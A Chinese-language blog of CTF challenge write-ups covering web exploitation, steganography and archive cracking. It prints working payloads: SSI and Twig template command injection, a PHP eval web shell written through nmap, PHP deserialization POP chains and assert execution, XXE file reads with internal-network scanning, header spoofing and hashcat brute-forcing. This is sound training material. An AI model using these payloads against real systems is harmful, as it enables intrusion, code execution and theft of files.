MRCTF2020套娃

1
2
3
4
5
6
7
8
9
10
<!--
//1st
$query = $_SERVER['QUERY_STRING'];

if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}

右键查看源码有这么一段
substr_count() 函数极限字串在字符串中出现的次数 有区分大小写
%20代替下划线或者%5F 从而绕过第一个if
get型中取得参数b_u_p_t 不等于23333但是正则匹配需要23333可以使用%0a(正则匹配

1
中'^' 和 '$'

代表航道开头和结尾可以利用换行绕过)绕过

1
payload: b%20u%20p%20t=23333%a 或者b%5Fu%5Fp%5Ft=23333%a

97.PNG

提示这个访问一下右键查看源码
长串注释是jsfuck的丢控制台

99.PNG
传入参数后跳转

98.PNG

需要ip地址为127.0.0.1 抓包那边填一下client-ip:127.0.0.1

100.PNG

1
2
3
file_get_contents 可用php伪协议
2333=php://input
post: todat is a happy day
1
change函数的作用,传入的参数先进行base64解码,然后将字符转化成ASCII并且+$i*2

反写change函数

1
2
3
4
5
6
7
8
9
10
11
<?php
function unchange($v){
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}
return $re;
}
$real_flag = unchange('flag.php');
echo base64_encode($real_flag);
?>

得到这串ZmpdYSZmXGI=

抓包改包ok

101.PNG

NCTF2019True XML cookbook

这边是xxe漏洞**
XXE :Xml External Entity 外部实体注入攻击**
是利用一种xml的语言进行的注入攻击
构造假的xml语言进行注入攻击 之前[NCTF2019]fakeXMLcookbook也利用到xxe漏洞

1
2
3
4
5
xxe漏洞可以进行一堆的神奇操作
读取系统文件
获取源代码
进行ssrf
进行Phar触发反序列化

这题这边可以进行ssrf攻击探测内网主机
这边可以用file:// 或者php:// 等伪协议进行获取文件(获取代码最好用php://filter进行base64转码)

1
2
3
4
5
读取一些配置文件 :
/etc/hosts 储存域名解析的缓存
/etc/passwd 用户密码
/proc/net/arp 每个网络接口的arp表中dev包
/proc/net/arp 获取ip

然后 /etc/hosts发现内网地址

75.PNG

但是没有当前ip

76.PNG

77.PNG

然后利用burp的爆破模块进行扫描内网主机然后在10.0.48.6拿到flag

78.PNG

BJDCTF2020EasySearch

老样子还是得扫后台扫到一个index.php.swp 进入后给了源码 重点是这部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);

只要有一个密码前六位的MD5是6d0bc1 跑脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import hashlib

a= "0123456789"
for o in a:
for p in a:
for q in a:
for r in a:
for s in a:
for t in a:
for u in a:
b = str(o)+str(p)+str(q)+str(r)+str(s)+str(t)+str(u)
md5 = hashlib.md5(b.encode('utf-8')).hexdigest()
if ((md5[0:6])=='6d0bc1'):
print b

2020666
2305004
9162671 这仨结果随便选一个 username=2020666&password=2020666
然后抓包发现这边好像会写入一个.shtml 的文件可以访问

68.PNG

69.PNG

百度了一下这边可以进行ssi注入

70.PNG

参考链接:https://www.cnblogs.com/bonelee/p/12027775.html
可以进行远程命令执行

传个ls试试

1
username=<!--#exec cmd="ls" -->&password=2020666

67.PNG

可以访问到but该文件 flag不在这

72.PNG

返回上一个目录

1
username=<!--#exec cmd="ls ../" -->&password=2020666  

74.PNG

看样子可以找到flag
传入:

1
username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2" -->&password=2020666

访问生成的文件 ok

73.PNG

CISCN2019 华东南赛区Web11

和[BJDCTF2020]The mystery of ip 这个很类似
抓包 通过X-Forwarded-For 来找点

1
2
X-Forwarded-For= {{7*'7'}}  回显49==> Twig 
直接就X-Forwarded-For: {{system("cat /flag")}}就可以

66.PNG

MRCTF2020Ezpop

Welcome to index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}

}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}

}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

Modifier这个类这边有高危函数include 通过构造链连接到这边
还有invoke这个魔术方法:
对象本身是不能够当做函数去使用的,一旦被当做函数使用,就会回调执行 _ _invoke()方法。

1
2
3
4
5
6
7
8
9
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

test这个类这边就直接触发到invoke() 了 然后是触发这个_ _get()方法 _ _get()方法将在访问不存在的成员变量时触发
就能将$p-> $var
show这个类这边 这是pop链构造的开始

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}

}

根据以上题目,当用get方法传一个pop参数后,会自动调用Show类的 _ wakeup()魔术方法
_ wakeup()通过preg_match()将$this->source做字符串比较,如果$this->source是Show类,就调用了toString()方法;
如果 _ toString()其中str赋值为一个实例化的Test类,而且其类不含有source属性,所以会调用Test中的 _ get()方法。
如果_ get()中的p赋值为Modifier类,那么相当于Modifier类被当作函数处理,所以会调用Modifier类中的 _ invoke()方法。
利用文件包含漏洞,使用_invoke()读取flag.php的内容
Modifier::_ invoke()<–Test:: _get()<–show::__toString()
反序列化一个Show($a) 就能调用wakeup $a 会被赋值给source ,让$a是一个实例化的Show类就能调用toString
让$a的show类str赋值为Test类 最后让str这个Test类的p赋值为Modifier类

构造如下序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php' ;

}

class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
public function __toString(){
return "asdasd";
}
}

class Test{
public $p;
}

$a = new Show('aaa');
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));
?>

这边urlencode没有这个不知道为什么无回显

然后base64解码就好了

65.PNG

NPUCTF2020ReadlezPHP

黑不溜秋一片
查看源码发现另一个页面 /time.php?source
然后就给了源码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}

@$ppp = unserialize($_GET[“data”]);
老熟人了序列化
@$ppp = unserialize($_GET[“data”]); 这边是传参数的地方
这边$b($a) 因为这个,可以利用php动态调用函数,拿取flag
这边要用到assert()函数 构成一个

1
2
assert(phpinfo())  

63.PNG

构造如下序列化 用phpstudy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "phpinfo()";
$this->b = "assert";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp();
var_dump(serialize($c));
?>

生成:O:8:”HelloPhp”:2:{s:1:”a”;s:9:”phpinfo()”;s:1:”b”;s:6:”assert”;}
payload: ?data=O:8:”HelloPhp”:2:{s:1:”a”;s:9:”phpinfo()”;s:1:”b”;s:6:”assert”;} 就可以了

64.PNG

网鼎杯 2020 朱雀组Nmap

和之前[BUUCTF 2018]Online Tool 1 差不多
利用nmap的 -oG语句写入文件
但是这边不用这么麻烦的反斜杠这些 这边就禁止了php

1
' <?php eval($_POST['v']);?> -oG shell.php ' onlinetool的payload

这边后面的php改成phtml
前面的用短标签绕过 <?php -> <?= @

1
payload :127.0.0.1 ; '<?= @eval($_POST["v"]);?> -oG shell.php

蚁剑连接一下就好了

[MRCTF2020]PYWebsite
买flag py一波结果还被嘲讽了

46.PNG

看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function enc(code){
hash = hex_md5(code);
return hash;
}
function validate(){
var code = document.getElementById("vcode").value;
if (code != ""){
if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
alert("您通过了验证!");
window.location = "./flag.php"
}else{
alert("你的授权码不正确!");
}
}else{
alert("请输入授权码");
}


}

</script>

欸嘿验证一点用都没有 这边都提示了跳转到flag.php
然后页面说除了购买者和他自己可以看到flag
那就伪造一个 burp抓包然后 X-Forwarded-For: 127.0.0.1 请求头那边伪造一下
就可以了

羊城杯 2020image_rar

首先下载下来是个名场景 雷总的3q 3q
就这么个视频什么都没有 丢binwalk分析一下 发现夹了好多好多的图片

51.PNG

binwalk -e 把东西分离出来 发现65 跟人不一样 丢010

52.PNG

53.PNG

这个文件头应该得是Rar!才对修改文件头为Rar!(52 61 72 21)

拿到一个压缩包要密码的 有个hint hint的密码应该是指rar的密码

1
2
3
hint的内容:
压缩包密码(6位):GWxxxx
后面可能会用到的哦

archpr识别不了 kali的file命令查看发现是rar5

54.PNG

55.PNG

rar2john 将其hash值提取出来
hashcat 来算这串哈希值

1
$rar5$16$a2dce3925af59efb2df9851dbfc24fb1$15$bb005ea8f91bf0356c8dddcfa41ac4cb$8$62293dc5e26e9e7f
1
.\hashcat.exe -m 13000 -a 3 '$rar5$16$a2dce3925af59efb2df9851dbfc24fb1$15$bb005ea8f91bf0356c8dddcfa41ac4cb$8$62293dc5e26e9e7f' GW?a?a?a?a

hashcat -m 是指定文档类型 -a 指定爆破方式

56.PNG

57.PNG

58.PNG

59.PNG

这边是rar5 那就是13000 方式选择暴力破解就硬算 选择3 ?a包含大小写字母数字以及特殊字符
然后就开始跑了 跑啊跑啊
拿到结果了:

62.PNG

解压缩拿到flag 010打开发现是个png 添加一下格式就可以了

61.PNG

挺有意思的这个首先要用binwalk分析一下这个文件包含的东西 还有rar5的神奇之处用hash的加密就硬算就好了 需要有个算力高一些的显卡不然算半天都

强网杯2021 threebody

a这关啊很神奇啊

stegsolve 打开转一转看到这么一张图看了半天 哎我是废物(;′⌒`)

33.PNG

图片放大后发现像素点排列很有规律 010看像素值

34.PNG

35.PNG

按理说正常图像像素点之间差值都不会很大

但是这边以三为周期之间差值很大但是四为周期就很小
试一下给这个图升维处理
bmp图片有个叫bibitcount 就是每个像素所占的字节数
现在**是24 即3个字节 将其改为32 **

36.PNG

就变成新的图片了

37.PNG

然后老样子stegsolve 发现一老头

38.PNG

右上角有一串白点代表藏着信息
dataextra 查看其中信息 alpha red green bule 的0 一个个试下来

blue这边发现了东西 先行后列查看

39.PNG

40.PNG

这老头叫david 著名数学家 大卫希尔伯特
010那边多出来一个通道 而且值和blue的很接近

41.PNG

尝试将reversed通道的值复制给blue
跑脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
with open('threebody.bmp', 'rb') as f:
d = f.read()

w = 580
h = 435
b = 4
l = bytearray(d)
off = l[10]
for i in range(h):
for j in range(w):
l[off+j*b+i*b*w] = l[off+j*b+i*b*w+3]

with open('threebody_new.bmp', 'wb') as f:
f.write(l)

生成新的图片然后再次分析有找到一张不一样的图片

42.PNG

考虑这张图是二维的 图片按照01序列来保存但没有什么结果,并且如果是逐行保存的话不应该出现左上角的区域与其他区域密度明显不同的情况。
前面的三体和大卫联合搜索一下会发现一个网址

https://mp.weixin.qq.com/s/IOSGOJnGyiGoD8J1ITQJlg
希尔伯特曲线
这是一种将高维进行降维处理的一种方法,所以在这里可以将二维的二进制数组转成一维的二进制流。
这边得到的是128128的矩阵128=27应该使用7维的希尔伯特矩阵
用脚本把二维的01矩阵降维成一维的二进制流就能得到隐藏文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import numpy as np
from PIL import Image
from hilbertcurve.hilbertcurve import HilbertCurve

with Image.open('threebody_new.bmp') as img:
arr = np.asarray(img)
arr = np.vectorize(lambda x: x&1)(arr[:,:,2])

for x1 in range(np.size(arr,0)):
if sum(arr[x1])>0:
break
for x2 in reversed(range(np.size(arr,0))):
if sum(arr[x2])>0:
break
for y1 in range(np.size(arr,1)):
if sum(arr[:,y1])>0:
break
for y2 in reversed(range(np.size(arr,1))):
if sum(arr[:,y2])>0:
break

arr = arr[x1:x2+1, y1:y2+1]

hilbert_curve = HilbertCurve(7, 2)

s = ''
for i in range(np.size(arr)):
[x,y] = hilbert_curve.point_from_distance(i)
s += str(arr[127-y][x])

with open('output', 'wb') as f:
f.write(int(s,2).to_bytes(2048, 'big'))

生成一个output的文件是c语言代码

43.PNG

另存为.c 打开发现源码这边11行的位置后面全是空格和tab

44.PNG

45.PNG

把0当作空格 1当作tab转换成二进制流
01100110011011000110000101100111011110110100010000110001011011010100010101101110001101010110100100110000011011100100000101101100010111110101000001110010001100000011011000110001011001010110110101111101
对这一串出来对了大半天
flag{D1mEn5i0nAl_Pr061em}

安洵杯 2019easy_serialize_php

开头即可拿到源码
然后提示phpinfo phpinfo

11.PNG

将其base64
代码最后一行有一个file_get_contents是能够读取文件的函数,他这里读取的是base64解密的’img’,往前找这个’img’
一个函数serialize上,这里有一个很明显的漏洞点,数据经过序列化了之后又经过了一层过滤函数,就是数组里提到的’php’,’flag’,’php5’,’php4’,’fl1g’都会被空格替代,而这层过滤函数会干扰序列化后的数据。

在php中,反序列化的过程中必须严格按照序列化规则才能成功实现反序列化,
特点一
例如:

string(6) "aaaaaa" [1]=> string(3) "aaa" } 序列化如果增加或删除str的任何一个字符会导致序列化失败,但是如果在str末尾大括号外加上东西就还是可以序列出来
1
2
3
4
5
6
7
<?php
$str='a:2:{i:0;s:6:"aaaaaa";i:1;s:3:"aaa";}aaa';
var_dump(unserialize($str));

<?php
$str='a:2:{i:0;s:6:"aaaaaa";i:1;s:3:"aaa";}';
var_dump(unserialize($str));
反序列化识别有一定范围,范围外都会忽略但是不影响反序列化结果 **特点二:**
1
2
3
4
5
 <?php
$_SESSION["user"]='flagflagflagflag'
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:1:"s";}';
$_SESSION["img"]='asdasdasd';
echo serialize($_SESSION);
输出: a:3:{s:4:"user";s:16:"flagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:1:"s";}";s:3:"img";s:9:"asdasdasd";} **这题存在过滤机制将flag过滤成空格** a:3:{s:4:"user";s:16:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:1:"s";}";s:3:"img";s:9:"asdasdasd";} 替换为空之后会向后再读取16个将其当作s:16:" " 的内容;s:8:"function"; 但是这样无法读取到img的内容 这边这个十六就得改成24 ;s:8:"function";s:59:"a" 恰好到分号的位置 序列改成:a:3{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:1:"s";}";s:3:"img";s:9:"asdasdasd";} 而后第三个s向后读取img的20个字符,第四个、第五个s向后读取均满足规则,所以序列化结果为: $_SESSION["user"]='";s:8:"function";s:59:"a"; $_SESSION["img"]="ZDBnM19mMWFnLnBocA==" $_SESSION["aa"]="s" 这样seeeion数组的键值img对应的值发生改变 那么可以控制原来的session数组的function的值但无法控制,但这个方法就可以旁敲侧击的控制img的值,用ZDBnM19mMWFnLnBocA==代替了真正的base64编码,读取了d0g3_f1ag.php的内容。而识别完成后最后面的";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}被忽略掉了,不影响正常的反序列化过程。 get:f=show_image post: _SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} 然后大概就知道flag在哪了_ base64一下 然后替换掉ZD ![10.PNG](https://github.com/ajin-max/ajin-max.github.io/blob/master/img/10.PNG?raw=true) POST:_SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";} ![12.PNG](https://github.com/ajin-max/ajin-max.github.io/blob/master/img/12.PNG?raw=true)